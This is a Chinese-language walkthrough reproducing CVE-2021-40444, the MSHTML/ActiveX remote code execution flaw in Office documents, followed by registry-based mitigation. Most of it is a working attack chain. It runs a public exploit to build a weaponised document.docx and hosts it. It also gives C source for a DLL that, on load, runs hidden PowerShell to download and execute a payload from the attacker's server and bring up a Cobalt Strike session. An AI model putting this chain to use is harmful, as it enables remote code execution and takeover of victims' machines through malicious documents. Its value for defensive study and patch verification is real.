CVE-2021-40444复现

CVE-2021-40444复现

漏洞描述：

2021年9月8日，微软发布安全通告披露了Microsoft MSHTML远程代码执行漏洞，攻击者可通过制作恶意的ActiveX控件供托管浏览器呈现引擎的 Microsoft Office文档使用，成功诱导用户打开恶意文档后，可在目标系统上以该用户权限执行任意代码，微软在通告中指出已检测到该漏洞被在野利用，请相关用户采取措施进行防护。

MSHTML(又称为Trident)是微软旗下的Internet Explorer浏览器引擎，也用于Office应用程序，以在Word、Excel或PowerPoint文档中呈现Web托管的内容，AcitveX控件是微软COM架构下的产物，在Windows的Office套件、IE浏览器中有广泛的应用，利用ActiveX控件即可与MSHTML组件进行交互。

影响范围：

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 32-bit Systems Service Pack 1
Windows 10 for x64-based Systems
Windows 10 32-bit Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 32-bit Systems
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 32-bit Systems
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 32-bit Systems

漏洞复现：

自行搭建python3环境 

github地址：poc下载地址

 

需要先安装lcab，这里 lcab 包的官方下载地址已经无法下载，改为 Debian 的下载地址

wget http://ftp.debian.org/debian/pool/main/l/lcab/lcab_1.0b12.orig.tar.gz
tar zxvf lcab_1.0b12.orig.tar.gz
cd lcab-1.0b12
./configure
make
sudo make install

 执行命令

python3 exploit.py generate test/calc.dll http://{ip}:80

在out目录下生成了document.docx文件;

开启http服务

python exploit.py host 80

如果启动失败可能是端口被占用，netstat查看一下80，把占用的进程kill结束一下

 kill -9 26586

接着把document.docx拉到受害机子双击打开(切记：这里受害机子一定要关闭denfender，同时ie浏览器也一定要启动运行Activex控件和插件！！！) 

成功弹出计算器

 cs上线:

cs生成ps payload，这里payload不要选择x64位

 

 

 

写入1.c：

#include <windows.h>
void exec(void) {
system("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://你的ip:你的端口/a'))\"");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

生成dll

sudo apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc -shared 1.c -o 1.dll

python3 exploit.py generate {新生成的dll} http://{ip}:80

生成文档，受害者点击cs上线

漏洞缓解：

在 Internet Explorer 中禁用所有 ActiveX 控件的安装

将如下代码复制到文本文件中并以 .reg 文件扩展名保存

Windows Registry EditorVersion 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet  Settings\Zones\0]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet  Settings\Zones\1]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet  Settings\Zones\2]
"1001"=dword:00000003
"1004"=dword:00000003
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet  Settings\Zones\3]
"1001"=dword:00000003
"1004"=dword:00000003

双击.reg 文件，将其应用到策略配置单元，重新启动系统以确保应用新配置